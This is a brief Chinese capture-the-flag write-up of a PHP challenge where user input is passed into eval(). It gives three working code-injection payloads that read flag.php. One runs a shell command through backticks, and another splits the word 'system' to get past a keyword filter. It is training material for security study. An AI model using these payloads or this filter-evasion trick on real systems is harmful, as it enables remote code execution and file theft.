簡介 :
分值:10分 類型:Misc Web已解答
題目:
flag不在變量中。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
解法 :
利用的方式類似于SQL注入 , 我們知道 eval 函數(shù)的功能就是講一個字符串當(dāng)作 php 的代碼進(jìn)行執(zhí)行
那么 , 我們可以傳遞一個值去閉合 var_dump 的左括號 , 剩下的代碼就可以由我們來控制了
下面給出三種 paylaod :
1. ?hello=$a);print_r(file("./flag.php")); //
2. ?hello=$a);echo `cat ./flag.php`; //
注意這里是反引號 , 在 bash 中反引號括起來的字符串也是會被當(dāng)成代碼執(zhí)行
3. ?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); //
這里發(fā)現(xiàn) i春秋 在http請求中攔截了 system 函數(shù)等關(guān)鍵字 ,
因此可以通過 php 的字符串連接成為函數(shù)名 , 然后進(jìn)行調(diào)用
這里其實是把 system 函數(shù)名作為字符串分開 , 這樣在 http 請求頭中不會出現(xiàn) "system(xxx)" 這樣的關(guān)鍵字